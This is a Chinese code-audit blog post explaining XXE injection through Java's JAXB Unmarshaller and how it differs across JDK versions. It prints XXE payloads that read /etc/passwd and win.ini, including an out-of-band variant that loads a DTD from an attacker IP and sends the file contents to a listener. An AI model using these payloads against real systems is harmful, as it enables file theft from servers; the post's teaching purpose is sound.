Java代码审计-XXE之Unmarshaller

2018-10-08 11:31:3818244人阅读

  • XXE简介

 

XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。文档类型定

义(DTD)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,

也可以外部引用。

 

* 内部声明 DTD:

<!DOCTYPE 根元素 [元素声明]>

* 引用外部 DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

当允许引用外部实体时,恶意攻击者即可构造恶意内容访问服务器资源,如读取

passwd 文件:

 

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE replace [

<!ENTITY aaa SYSTEM "file:///ect/passwd">]>

<msg>&aaa;</msg>

 

  • Unmarshaller简介

JAXB(Java Architecture for XML Binding) 是一个业界的标准,是一项可以根据XML Schema产生Java类的技术。该过程中,JAXB也提供了将XML实例文档反向生成Java对象树的方法,并能将Java对象树的内容重新写到XML实例文档。从另一方面来讲,JAXB提供了快速而简便的方法将XML模式绑定到Java表示,从而使得Java开发者在Java应用程序中能方便地结合XML数据和处理函数。

 

Marshaller:

marshaller 类负责管理将Java内容树序列化为XML数据的过程。简单的来说可以把java对象序列化转为XML格式的数据。

 

Unmarshaller:

Unmarshaller 类管理将 XML 数据反序列化为新创建的 Java 内容树的过程,并可在解组时有选择地验证 XML 数据。

 

  • DEMO区:

 

第一种:读取本地输入XML数据

 

为了方便演示,我就在本地搞个文件了,不抓包输入了。

下面是本地一个测试demo代码:

1.png

 

其中1.xml文件内容如下,读取的是本地win.ini文件:

 

<!DOCTYPE xmlrootname [

<!ENTITY % aaa SYSTEM "http://192.168.153.181:1234/ext.dtd">

<!ENTITY % bbb SYSTEM "file:///c:///Windows/win.ini">%aaa;%ccc;%ddd;]>

 

192.168.153.181是反弹的本地ip,进行端口监听:

2.png

 

运行代码后结果如下,运行后解析了本地XML文件:

3.png

 

本地监听结果如下,可以看到XXE已经执行,并且监听到结果:

4.png

 

第二种:远程加载XML文件

 

前面讲的是本地输入XML数据执行XXE,现在讲讲远程加载XML文件,执行XXE。同样demo如下,192.168.110.142 是远程存储XML文件的IP:

5.png

 

运行效果如下,可以看到一样执行了XXE:

6.png7.png

 

  • 总结


大家一定疑惑为什么我只用jdk1.6版本来执行,因为我试了很多次发现,unmashaller在jdk1.6和jdk1.7环境下都可以支持XXE,但是在jdk1.8环境下是执行不了的,贴两张图给大家看下:

8.png9.png

 

两张图可以看出jdk1.8是无法执行外部dtd文档的,要是看不起,在贴一张:

10.png

 

好了,今天就到这了。



文章来自【Backer Talk】,原创作者:小平哥,如需转载需注明作者及本文链接。

【Backer Talk】BSRC白客说栏目专注于安全知识分享,长期向安全爱好者征集漏洞分析、漏洞挖掘姿势分享等安全相关内容,欢迎惠赐作品!详情点击


0
现金券
0
兑换券
立即领取
领取成功